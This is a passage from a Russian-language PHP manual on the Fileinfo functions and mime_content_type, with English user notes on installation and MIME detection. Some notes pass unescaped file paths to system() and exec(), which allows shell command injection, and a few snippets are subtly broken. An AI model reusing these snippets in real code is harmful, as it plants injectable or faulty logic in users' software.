            $stat = stat($this->file);
            $this->file_info['realpath'] = realpath($this->file);
            $this->file_info['dirname'] = $pathinfo['dirname'];
            $this->file_info['basename'] = $pathinfo['basename'];
            $this->file_info['filename'] = $pathinfo['filename'];
            $this->file_info['extension'] = $pathinfo['extension'];
            $this->file_info['mime'] = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $this->file);
            $this->file_info['encoding'] = finfo_file(finfo_open(FILEINFO_MIME_ENCODING), $this->file);
            $this->file_info['size'] = $stat[7];
            $this->file_info['size_string'] = $this->format_bytes($stat[7]);
            $this->file_info['atime'] = $stat[8];
            $this->file_info['mtime'] = $stat[9];
            $this->file_info['permission'] = substr(sprintf('%o', fileperms($this->file)), -4);
            $this->file_info['fileowner'] = getenv('USERNAME');
        }

        /**
        * @param int => $size = valor em bytes a ser formatado
        */
        private function format_bytes(int $size){
            $base = log($size, 1024);
            $suffixes = array('', 'KB', 'MB', 'GB', 'TB');
            return round(pow(1024, $base-floor($base)), 2).''.$suffixes[floor($base)];
        }
    }

    var_dump((new FileInfoTool)->get_file('sitemap.xml')->get_info());
?>
bostjan at a2o dot si 09-Nov-2010 05:58
'Failed to load magic database at...'

This error message may be caused by incompatibilities between library and database. Check your database by trying to compile it with file command, like this:

cd /etc/magic
file -C -m magic
file -C -m magic.mime

b.
nessi at nessi dot ch 01-Jan-2010 04:26
For opensuse, you will just need to install the file-devel to solve the Problem with
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution

zypper install file-devel
aidan at php dot net 20-Dec-2008 01:09
As of PHP 5.3, Fileinfo is shipped with the main distribution and enabled by default. The extension is no longer maintained in PECL.
Evermorian 26-Aug-2008 05:03
In response to the suggestion from "jon at cybus" below to symlink /usr/share/file/magic to /etc/magic.mime, note that this causes other problems (in Debian Etch, anyway).  It breaks the -i functionality of the file command, causing it to return the human-readable string instead of the MIME type.  It also results in finfo doing the same.

So, it is probably better to actually specify the path to the magic file correctly when instantiating your finfo object:

<?php
$fi = new finfo(FILEINFO_MIME,'/usr/share/file/magic');
$mime_type = $fi->buffer(file_get_contents($file));
?>

Of course, you still end up with something that cannot tell the difference between a Word document and an Excel spreadsheet.
Terren Suydam 20-Jun-2008 11:00
If finfo_file() returns a mime type that also includes a character set definition (separated by a semi-colon), like:

text/plain; charset=us-ascii

Then you'll probably want to leave the charset definition in with the mime type, particularly if you're using the resulting string in an HTTP Content-Length header. The HTTP standard specifically allows for this, see:

http://www.w3.org/International/O-HTTP-charset

It seemed as if some of the previous commenters were trying to remove the charset.
Paul 08-Nov-2007 08:12
The results of this function seem to be of dubious quality.

eg
1)  a Word doc returns:
'application/msword application/msword'
...ok not too bad, but why does it come back twice?

2)  a PHP file comes back as:
'text/x-c++; charset=us-ascii'
My test file started with '<?php' so not ambiguous really. And where does it get the charset assumption from?

3)  a text doc that starts with the letters 'GIF' comes back as:
'image/gif'
(just like in DanielWalker's example for the unix 'file' command)

I had better results using the PEAR 'MIME_Type' package. It gave proper answers for 1 & 3 and identified the PHP file as 'text/plain' which is probably better than a false match for C++

Both finfo_file and MIME_Type correctly identified my other two test files which were a windows exe renamed with .doc extension, and a PDF also renamed with .doc extension.
jon at cybus dot co dot uk 04-Sep-2007 07:58
To get v1.0.4 working on my Ubuntu Feisty system, I had to do the following. It's probably the same on Debian.

* apt-get install libmagic1-dev
* pecl install Fileinfo
* Add "extension=fileinfo.so" to php.ini (/etc/php5/{cli,cgi}/php.ini)
* ln -s /usr/share/file/magic /etc/magic.mime
hari_1983 at yahoo dot com 22-Aug-2007 10:45
Actually for RPM users file-devel contains whatever libmagic contains. then apart from pear, u can directly use "pecl install Fileinfo".
aidan at php dot net 15-Mar-2007 12:54
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic'
PHP Warning:  finfo::file(): The invalid fileinfo object

These errors can be rectified by copying your magic database (depending on your distro, this file can be anywhere, on debian it's in /usr/share/file/magic) to /etc/magic.mime

libmagic automatically appends the .mime to the end of the filename, so PHP incorrectly reports the path it was looking for.

The same applies for:
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic.mime'

Unfortunately users will have to call the magic file /etc/magic.mime.mime in this case.
Alexey 18-Feb-2007 06:39
Well, it is hard to install and use this extension. There is better alternative - use lunux comand "file". For  insturctions - "man file" from linux shell.

<?
echo system("file -i -b file.pdf");
?>

application/pdf
szotsaki at gmail dot com 01-Feb-2007 11:12
I am about to write how installed this package.

First of all, I tried with "pear install fileinfo" - as the manual says.
But the pear command said that 'Package "Fileinfo" is not valid,
install failed'.

Then the "pear install pecl/fileinfo" was a better way. But at that time the "phpize" command was missing.
I installed that (on openSUSE distributions it is in the php5-devel, but I think you can find it in your distro's corresponding php-devel package).

After that you may install "re2c" (I did). It's homepage is: http://sourceforge.net/projects/re2c

Copy the magic file of Apache (usually in /etc/apache2) into the following directory: /usr/locale/share/file/ or /usr/share/file/

Then you have to install "libmagic-dev". If you have Debian based system you can simply install it with apt.
But if you have an rpm based system (like me), you have to download the following package: http://packages.debian.org/unstable/libdevel/libmagic-dev
It contains the files we need.
So, download the file, browse it with Midnight Commander (mc) (you have to apt and dpkg be installed) and simply extract (so copy) the /usr folder (it is inside the CONTENTS folder) of the .deb package to the root folder.

And now give the "pear install pecl/fileinfo" command another try :)

Ps: Don't forget to check whether the script has wrote the following line into the php.ini (on openSUSE: /etc/php5/apache2): extension=fileinfo.so

I hope, I could help.
motin at demomusic dot nu 09-Jan-2007 05:34
I had a real headache trying to install this package through pear/pecl. Ran into what looks like this bug: http://pecl.php.net/bugs/bug.php?id=7673 (phpize fails)

I found downloading the package manually and running ./configure helped show what the problem is:

...
checking for fileinfo support... yes, shared
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution
<quit>

I though this was because of a missing magic-database like magic.mime but examining the configure-script, magic.h is searched for.

Problem for me was that include/magic.h was not found. After some googling about where to find magic.h led me to the dead
simple solution:

apt-get install libmagic-dev

This does NOT solve the original installation bug strangely enough, but allows for manual installation:

1. Find the url to the latest version of fileinfo from http://pecl.php.net/package/Fileinfo (atm: http://pecl.php.net/get/Fileinfo-1.0.4.tgz)

2. Download, compile and install
wget http://pecl.php.net/get/Fileinfo-1.0.4.tgz
gunzip Fileinfo-1.0.4.tgz
tar -xvf Fileinfo-1.0.4.tar
cd fileinfo-1.0.4
./configure
make
make install

3. Add extension=fileinfo.so in your php.ini file

4. Restart Apache
jausions at php dot net 08-Jul-2006 12:26
For Windows users:

1. Go to http://pecl4win.php.net/ to get the php_fileinfo.dll if your PHP installation didn't come with it, and you haven't installed the Extensions package.

2. Then make sure you have extension=php_fileinfo.dll somewhere in your php.ini

3. Restart your web server.


Возвращает информацию о строке буфера

  • « Функции модуля Fileinfo
  • finfo_close »
  • PHP Manual
  • Функции модуля Fileinfo
  • Возвращает информацию о строке буфера

finfo_buffer

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_buffer -- finfo::buffer — Возвращает информацию о строке буфера

Описание

Процедурный стиль

finfo_buffer(
finfo $finfo,
string $string,
int $flags = FILEINFO_NONE,
?resource $context = null
): string|false

Объектно-ориентированный стиль

public finfo::buffer(string $string, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

Эта функция используется для получения информации о бинарных данных в строке.

Список параметров

finfo

Экземпляр finfo, возвращаемый функцией finfo_open().

string

Содержимое проверяемого файла.

flags

Одна или несколько объединённых через бинарное ИЛИ констант Fileinfo.

context

Возвращаемые значения

Возвращает текстовое описание для аргумента string или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр finfo теперь ожидает экземпляр finfo; ранее ожидался ресурс (resource).
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Пример finfo_buffer()

<?php
$finfo = new finfo(FILEINFO_MIME);
echo $finfo->buffer($_POST["script"]) . "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

application/x-sh; charset=us-ascii

Смотрите также

  • finfo_file() - Псевдоним finfo_file()

User Contributed Notes

nimasdj [AT] yahoo [DOT] com 14-Nov-2015 06:31
You should never rely on finfo::buffer to get the MimeType of a file, you must always save the file physically or temporariliy and use finfo_open to get MimeType. I tested it with an excell file, with buffer it says octet-stream that is not valid, with finfo_open it says ms-excell as correct.
donjajo4all at gmail dot com 11-Jun-2014 06:42
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr($file->buffer(file_get_contents('http://example.com')),';',true)//Returns something similar to  text/html
?>
donjajo4all at gmail dot com 10-Jun-2014 01:45
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr(file_get_contents('http://example.com'),';',true); //Returns something similar to  text/html
?>
contact at ingnu dot fr 20-Jun-2011 02:22
You can easily check mime type of an internet resource using this code :

<?php
function getUrlMimeType($url) {
    $buffer = file_get_contents($url);
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->buffer($buffer);
}
?>

I'm using it to detect if an url given by a user is a HTML page (so I do some stuff with the HTML) or a file on Internet (so I show an icon accordingly to the mime type).


Закрывает экземпляр finfo

  • « finfo_buffer
  • finfo_file »
  • PHP Manual
  • Функции модуля Fileinfo
  • Закрывает экземпляр finfo

finfo_close

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_close — Закрывает экземпляр finfo

Описание

finfo_close(finfo $finfo): bool

Функция закрывает экземпляр, который был открыт функцией finfo_open().

Список параметров

finfo

Экземпляр finfo, возвращаемый функцией finfo_open().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр finfo теперь ожидает экземпляр finfo; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о файле

  • « finfo_close
  • finfo_open »
  • PHP Manual
  • Функции модуля Fileinfo
  • Возвращает информацию о файле

finfo_file

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_file -- finfo::file — Возвращает информацию о файле

Описание

Процедурный стиль

finfo_file(
finfo $finfo,
string $filename,
int $flags = FILEINFO_NONE,
?resource $context = null
): string|false

Объектно-ориентированный стиль

public finfo::file(string $filename, int $flags = FILEINFO_NONE, ?resource $context = null): string|false

Функция используется для получения информации о файле.

Список параметров

finfo

Экземпляр finfo, возвращаемый функцией finfo_open().

filename

Название проверяемого файла.

flags

Одна или несколько объединённых через бинарное ИЛИ констант Fileinfo.

context

Для описания contexts, смотрите Функции для работы с потоками.

Возвращаемые значения

Возвращает текстовое описание содержимого файла filename или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр finfo теперь ожидает экземпляр finfo; ранее ожидался ресурс (resource).
8.0.0 | context теперь допускает значение null.

Примеры

Пример #1 Пример использования finfo_file()

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE); // возвращает mime-тип
foreach (glob("*") as $filename) {
echo finfo_file($finfo, $filename) . "\n";
}
finfo_close($finfo);
?>

Результатом выполнения данного примера будет что-то подобное:

text/html
image/gif
application/vnd.ms-excel

Смотрите также

  • finfo_buffer() - Псевдоним finfo_buffer()

User Contributed Notes

powtac at gmx dot de 17-Oct-2016 02:02
Be careful, files with BOM will not detected correctly!
66Ton99 at gmail dot com 14-Jun-2016 06:33
The way HOWTO get MIME-type of remote file.

<?php
class MimeStreamWrapper
{
    const WRAPPER_NAME = 'mime';
    public $context;
    private static $isRegistered = false;
    private $callBackFunction;
    private $eof = false;
    private $fp;
    private $path;
    private $fileStat;
    private function getStat()
    {
        if ($fStat = fstat($this->fp)) {
            return $fStat;
        }

        $size = 100;
        if ($headers = get_headers($this->path, true)) {
            $head = array_change_key_case($headers, CASE_LOWER);
            $size = (int)$head['content-length'];
        }
        $blocks = ceil($size / 512);
        return array(
            'dev' => 16777220,
            'ino' => 15764,
            'mode' => 33188,
            'nlink' => 1,
            'uid' => 10000,
            'gid' => 80,
            'rdev' => 0,
            'size' => $size,
            'atime' => 0,
            'mtime' => 0,
            'ctime' => 0,
            'blksize' => 4096,
            'blocks' => $blocks,
        );
    }
    public function setPath($path)
    {
        $this->path = $path;
        $this->fp = fopen($this->path, 'rb') or die('Cannot open file:  ' . $this->path);
        $this->fileStat = $this->getStat();
    }
    public function read($count) {
        return fread($this->fp, $count);
    }
    public function getStreamPath()
    {
        return str_replace(array('ftp://', 'http://', 'https://'), self::WRAPPER_NAME . '://', $this->path);
    }
    public function getContext()
    {
        if (!self::$isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$isRegistered = true;
        }
        return stream_context_create(
            array(
                self::WRAPPER_NAME => array(
                    'cb' => array($this, 'read'),
                    'fileStat' => $this->fileStat,
                )
            )
        );
    }
    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) {
            return false;
        }
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])
        ) {
            return false;
        }
        $this->callBackFunction = $opt[self::WRAPPER_NAME]['cb'];
        $this->fileStat = $opt[self::WRAPPER_NAME]['fileStat'];

        return true;
    }
    public function stream_read($count)
    {
        if ($this->eof || !$count) {
            return '';
        }
        if (($s = call_user_func($this->callBackFunction, $count)) == '') {
            $this->eof = true;
        }
        return $s;
    }
    public function stream_eof()
    {
        return $this->eof;
    }
    public function stream_stat()
    {
        return $this->fileStat;
    }
    public function stream_cast($castAs)
    {
        $read = null;
        $write  = null;
        $except = null;
        return @stream_select($read, $write, $except, $castAs);
    }
}
$path = 'http://fc04.deviantart.net/fs71/f/2010/227/4/6/PNG_Test_by_Destron23.png';
echo "File: ", $path, "\n";
$wrapper = new MimeStreamWrapper();
$wrapper->setPath($path);

$fInfo = new finfo(FILEINFO_MIME);
echo "MIME-type: ", $fInfo->file($wrapper->getStreamPath(), FILEINFO_MIME_TYPE, $wrapper->getContext()), "\n";
?>
tim at savaslabs dot com 29-Jul-2015 05:44
Just noting (because I ran into it!) that the current implementation of finfo_file has a known bug which causes PHP to allocate huge amounts of memory when certain strings are present in text files that it is examining.

See https://bugs.php.net/bug.php?id=69224 for more info.
niko dot jokipalo at gmail dot com 12-Jan-2014 08:03
I spent days looking and searching for a database with actual plain language descriptions for the media types, for example
finfo(.png) --> "image/png" --> "PNG image".
In Ubuntu based OS's you can find already translated database at /usr/share/mime

http://manpages.ubuntu.com/manpages/hardy/en/man5/gnome-mime.5.html
da_kooz at hotmail dot com 08-Aug-2013 08:13
Here is an wrapper that will properly identify Microsoft Office 2007 documents. It's trivial and straightforward to use, edit, and to add more file extentions/mimetypes.

<?php
function get_mimetype($filepath) {
    if(!preg_match('/\.[^\/\\\\]+$/',$filepath)) {
        return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
    }
    switch(strtolower(preg_replace('/^.*\./','',$filepath))) {
        // START MS Office 2007 Docs
        case 'docx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
        case 'docm':
            return 'application/vnd.ms-word.document.macroEnabled.12';
        case 'dotx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.template';
        case 'dotm':
            return 'application/vnd.ms-word.template.macroEnabled.12';
        case 'xlsx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
        case 'xlsm':
            return 'application/vnd.ms-excel.sheet.macroEnabled.12';
        case 'xltx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.template';
        case 'xltm':
            return 'application/vnd.ms-excel.template.macroEnabled.12';
        case 'xlsb':
            return 'application/vnd.ms-excel.sheet.binary.macroEnabled.12';
        case 'xlam':
            return 'application/vnd.ms-excel.addin.macroEnabled.12';
        case 'pptx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
        case 'pptm':
            return 'application/vnd.ms-powerpoint.presentation.macroEnabled.12';
        case 'ppsx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slideshow';
        case 'ppsm':
            return 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12';
        case 'potx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.template';
        case 'potm':
            return 'application/vnd.ms-powerpoint.template.macroEnabled.12';
        case 'ppam':
            return 'application/vnd.ms-powerpoint.addin.macroEnabled.12';
        case 'sldx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slide';
        case 'sldm':
            return 'application/vnd.ms-powerpoint.slide.macroEnabled.12';
        case 'one':
            return 'application/msonenote';
        case 'onetoc2':
            return 'application/msonenote';
        case 'onetmp':
            return 'application/msonenote';
        case 'onepkg':
            return 'application/msonenote';
        case 'thmx':
            return 'application/vnd.ms-officetheme';
            //END MS Office 2007 Docs

    }
    return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
}

?>
contato at vfreitas dot com 01-Mar-2012 06:31
Well, i have a great probleam with that, MS Office 2007 extensions (pptx, xlsx, docx) do not have a default Mime type, they have "application/zip" mime type, so, to fix that, i do one little function to verify the extension.
That function allow's you to be safe of fake extensions hack.

<?php

$arrayZips = array("application/zip", "application/x-zip", "application/x-zip-compressed");

$arrayExtensions = array(".pptx", ".docx", ".dotx", ".xlsx");

$file = 'path/to/file.xlsx';

$original_extension = (false === $pos = strrpos($file, '.')) ? '' : substr($file, $pos);

$finfo = new finfo(FILEINFO_MIME);

$type = $finfo->file($file);

if (in_array($type, $arrayZips) && in_array($original_extension, $arrayExtensions))
{
   return $original_extension;
}

?>
Zane MegaLab.it 13-Jun-2011 08:38
I was getting application/octet-stream or "<= not supported" for all the files.

I found out that in PHP 5.3 the magic file is built-in into PHP and that is what should be used. The magic file found on the system may not always be what libmagic expects, hence the error.
info at tech dash bits dot net 13-Feb-2011 01:34
While figuring out my problem using this new function, i had a brainwave in using the full path of the file instead of the relative path. For example:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
finfo_file($finfo, $folder.$fileName);
?>

This will result in an error where it can't find the file specified.

This however fixxes that problem:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, dirname(__FILE__)."/".$folder.$fileName);
?>
scott at thebrain dot ca 06-Jan-2009 09:29
I thought to use fileinfo to check if a file was gzip or bzip2. However, the mime type of a compressed file is "data" because compression is an encoding rather than a type.

gzip files begin with binary 1f8b.
bzip2 files begin with magic bytes 'B'  'Z'  'h'.
e.g.

<?php
$s = file_get_contents("somefilepath");
if ( bin2hex(substr($s,0,2)) == '1f8b' ) {/* could be a gzip file */}
if( substr($s,0,3) == 'BZh' ){/* could be a bzip2 file */}
?>

I am not an encoding expert. My only testing was using a few of my own encoded files.
darko at uvcms dot com 01-Aug-2008 08:28
OO (bit improved) version of the same thing

<?php
$file = '<somefile>';
$ftype = 'application/octet-stream';
$finfo = @new finfo(FILEINFO_MIME);
$fres = @$finfo->file($file);
if (is_string($fres) && !empty($fres)) {
   $ftype = $fres;
}
?>
darko at uvcms dot com 24-Apr-2008 09:53
Another interresting feature of finfo_file on Windows.

This function can return empty string instead of FALSE for some file types (ppt for example). Therefore to be sure do a triple check of output result and provide default type just in case. Here is a sample code:

$ftype = 'application/octet-stream';
$finfo = @finfo_open(FILEINFO_MIME);
if ($finfo !== FALSE) {
   $fres = @finfo_file($finfo, $file);
   if ( ($fres !== FALSE)
        && is_string($fres)
        && (strlen($fres)>0)) {
            $ftype = $fres;
        }
   @finfo_close($finfo);
}
WebShowPro 25-Sep-2007 02:01
Just an improvement on the sample Ryan Day posted - slightly off topic since this method does not use finfo_file but in some cases this method might be preferable.

The main change is the -format %m parameters given to the identify call.  I would suggest using the full system path to identify i.e. /usr/bin/identify to be a little safer (the location may change from server to server though).

<?php

function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("/usr/bin/identify -format %m $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image

            if($out == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}

?>
Schraalhans Keukenmeester 21-May-2007 03:20
Tempting as it may seem to use finfo_file() to validate uploaded image files (Check whether a supposed imagefile really contains an image), the results cannot be trusted. It's not that hard to wrap harmful executable code in a file identified as a GIF for instance.

A better & safer option is to check the result of:

if (!$img = @imagecreatefromgif($uploadedfilename)) {
  trigger_error('Not a GIF image!',E_USER_WARNING);
  // do necessary stuff
}


Создаёт экземпляр finfo

  • « finfo_file
  • finfo_set_flags »
  • PHP Manual
  • Функции модуля Fileinfo
  • Создаёт экземпляр finfo

finfo_open

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_open -- finfo::__construct — Создаёт экземпляр finfo

Описание

Процедурный стиль

finfo_open(int $flags = FILEINFO_NONE, ?string $magic_database = null): finfo|false

Объектно-ориентированный стиль (конструктор):

public finfo::__construct(int $flags = FILEINFO_NONE, ?string $magic_database = null)

Данная функция открывает магическую базу данных и возвращает экземпляр.

Список параметров

flags

Одна или несколько объединённых через бинарное ИЛИ констант Fileinfo.

magic_database

Имя файла магической базы данных, обычно что-то наподобие этого: /path/to/magic.mime. Если не указан полный путь, будет использована переменная окружения MAGIC. Если переменная окружения не указана, то будет использоваться встроенная в PHP магическая база данных.

Передача null или пустой строки эквивалентно значению по умолчанию.

Возвращаемые значения

(Только процедурный стиль) Возвращает экземпляр finfo в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр finfo; ранее возвращался ресурс (resource).
8.0.3 | magic_database теперь допускает значение null.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic"); // возвращает mime-тип а-ля mimetype расширения

/* получить mime-type для указанного файла */
$filename = "/usr/local/something.txt";
echo $finfo->file($filename);

?>

Пример #2 Процедурный стиль

<?php
$finfo = finfo_open(FILEINFO_MIME, "/usr/share/misc/magic"); // возвращает mime-тип а-ля mimetype расширения

if (!$finfo) {
echo "Открытие базы данных fileinfo не удалось";
exit();
}

/* получить mime-type для указанного файла */
$filename = "/usr/local/something.txt";
echo finfo_file($finfo, $filename);

/* закрыть соединение */
finfo_close($finfo);
?>

Результат выполнения данного примера:

text/plain; charset=us-ascii

Примечания

Замечание:

Обычно использование встроенной магической базы данных (при неустановленных magic_database и MAGIC) лучший выбор, если вам не нужна определённая версия магической базы данных.

Смотрите также

  • finfo_close() - Закрывает экземпляр finfo

User Contributed Notes

Anonymous 04-Jul-2013 07:41
For most common image files:
<?php
function minimime($fname) {
    $fh=fopen($fname,'rb');
    if ($fh) {
        $bytes6=fread($fh,6);
        fclose($fh);
        if ($bytes6===false) return false;
        if (substr($bytes6,0,3)=="\xff\xd8\xff") return 'image/jpeg';
        if ($bytes6=="\x89PNG\x0d\x0a") return 'image/png';
        if ($bytes6=="GIF87a" || $bytes6=="GIF89a") return 'image/gif';
        return 'application/octet-stream';
    }
    return false;
}
?>
illusivefingers at gmail dot com 06-Feb-2012 12:53
I am running Windows 7 with Apache.  It took hours to figure out why it was not working.

First, enable the php_fileinfo.dll extension in you php.ini. You'll also need the four magic files that are found in the following library:

http://sourceforge.net/projects/gnuwin32/files/file/4.23/file-4.23-bin.zip/download

An environment variable or a direct path to the file named "magic" is necessary, without any extension.

Then, make sure that xdebug is either turned off or set the ini error_reporting to not display notices or warnings for the script.

Hope this saves someone a few hours of frustration!
olivier dot berger at it-sudparis dot eu 09-Mar-2011 12:02
On my Debian squeeze system, the path needed is like :
<?php
 $finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic.mgc");
?>
franssen dot roland at gmail dot com 11-May-2010 12:23
Notice FileInfo::__construct() has strange behavior in PHP < 5.3.1 when a 2nd parameter is set explicitly, e.g.;

<?php
$fileInfo = new finfo(FILEINFO_MIME, null);
?>

Expected result:
----------------
object(finfo)#2 (0) { }

Actual result:
--------------
Warning: finfo::finfo(): Failed to load magic database at ''. in *** on line ***
object(finfo)#2 (0) { }

See http://bugs.php.net/bug.php?id=51732
mark at dynom dot nl 09-Nov-2008 12:34
It seems there is quite some inconsistency in distributions and loading of magic files.

On Archlinux, the file is located here:
/usr/share/misc/file/magic.mgc

But this:

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic');
$fi->file('/tmp/fubar.txt');
?>

Actually segfaults, where if I type the full name (including the file extension:)

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic.mgc'); // added ".mgc"
$fi->file('/tmp/fubar.txt');
?>

It works as expected, so I guess something goes wrong with "A .mime and/or .mgc suffix is added if needed."
php at brudaswen dot de 15-Sep-2008 03:13
Since it costed me some time to find the needed magic database files for Windows, just a hint:

The last release of the GnuWin32 project with both needed files (magic and magic.mime) currently was "file-4.23".
All releases after 4.23 to 4.25-1 did not contain both needed files.

Hope that helps.
dario dot borreguero at gmail dot com 16-Apr-2008 03:15
Platform: WinXP-SP2, PHP5.2.5, MySQL 5.0, Apache 2.2.8

After reading former notes, I wasn't able to load my magic database: 'magic.mime' file (donwloaded from GnuWin32 project, zipped with the binary files v4.21). I always got an invalid $finfo object or finfo_open(...) returned FALSE.

In order to be able to load the 'magic.mime' file, Fileinfo library (bundled in PHP5.2.5) also requires 'magic' file.

For example:
1. Database:
  c:\php\magic.mime
  c:\php\magic

2. PHP Code:
<?php
  $filname = 'c:\php\php.ini';
  $finfo = new finfo(FILEINFO_MIME, 'c:\php\magic');
  if (!$finfo) return false;
  echo $finfo->file($filename);
?>

For further info see: http://pecl.php.net/bugs/bug.php?id=7555

Pay attention to comments added by 'christophe dot charron dot xul at gmail dot com'

NOTE: Before upgrading to PHP5.2.5, I was working with PHP5.2.1 and it only required 'magic.mime' file.
php at kingsquare dot nl 23-Jan-2008 07:41
The current version (1.04) doesnt support a different mime.magic database than the server default.

(the documentation is thus not correct)
Ubuntu default location is '/usr/share/file/magic'. In order for the examples to work all finfo_open()-commands must be issued with the extra location accordingly:
<?php
$file = "/path/to/file.jpg";
$handle = finfo_open(FILEINFO_MIME, '/usr/share/file/magic');
$mime_type = finfo_file($handle,$file);
?>
ian at createanet dot co dot uk 02-Nov-2007 08:50
Couldn't get finfo to return the mimetype in the way expected so i made a function to do it with system()

<?php
function get_mime_type($filepath) {
    ob_start();
    system("file -i -b {$filepath}");
    $output = ob_get_clean();
    $output = explode("; ",$output);
    if ( is_array($output) ) {
        $output = $output[0];
    }
    return $output;
}
?>

hope it works for other people too
tularis at php dot net 06-May-2007 12:55
On Windows systems people might find that this always returns "application/x-dpkg".
There are 2 ways of solving this problem:
1. Get the mime-magic database file from GnuWin32 at <http://sourceforge.net/projects/gnuwin32/>
2. You can manually "fix" the mime-magic file by editing it and escaping all lines starting with !, thus changing each one to \!


Устанавливает параметры конфигурации libmagic

  • « finfo_open
  • mime_content_type »
  • PHP Manual
  • Функции модуля Fileinfo
  • Устанавливает параметры конфигурации libmagic

finfo_set_flags

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_set_flags -- finfo::set_flags — Устанавливает параметры конфигурации libmagic

Описание

Процедурный стиль

finfo_set_flags(finfo $finfo, int $flags): bool

Объектно-ориентированный стиль

public finfo::set_flags(int $flags): bool

Функция устанавливает различные параметры Fileinfo. Опции также могут быть установлены напрямую в finfo_open() или других функциях Fileinfo.

Список параметров

finfo

Экземпляр finfo, возвращаемый функцией finfo_open().

flags

Одна или несколько объединённых через бинарное ИЛИ констант Fileinfo.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр finfo теперь ожидает экземпляр finfo; ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Определяет MIME-тип содержимого файла

  • « finfo_set_flags
  • finfo »
  • PHP Manual
  • Функции модуля Fileinfo
  • Определяет MIME-тип содержимого файла

mime_content_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mime_content_type — Определяет MIME-тип содержимого файла

Описание

mime_content_type(resource|string $filename): string|false

Возвращает MIME-тип содержимого файла, используя для определения информацию из файла magic.mime.

Список параметров

filename

Путь к проверяемому файлу.

Возвращаемые значения

Возвращает тип содержимого в формате MIME, например text/plain или application/octet-stream или false в случае возникновения ошибки.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример mime_content_type()

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

Результат выполнения данного примера:

image/gif
text/plain

Смотрите также

  • finfo_file() - Псевдоним finfo_file()
  • finfo_buffer() - Псевдоним finfo_buffer()

User Contributed Notes

David Spector 09-Jan-2020 08:40
On Windows, PHP 7.0.30 gave the error message "Fatal error: Uncaught Error: Call to undefined function mime_content_type()". I saw the following interesting line in my Apache configuration:

#LoadModule mime_magic_module modules/mod_mime_magic.so

so I tried uncommenting it and restarting the Apache service, but still got the same error.  A Web search shows that this function is deprecated. It appears to have been removed from PHP. Not sure why, but can be worked around with a user function.
Anonymous 19-Mar-2016 08:21
There is a composer package that will do this:
https://github.com/ralouphie/mimey

<?php
$mimes = new \Mimey\MimeTypes;

// Convert extension to MIME type:
$mimes->getMimeType('json'); // application/json

// Convert MIME type to extension:
$mimes->getExtension('application/json'); // json
jacopo dot mazzoni at gmail dot com 16-Aug-2015 09:06
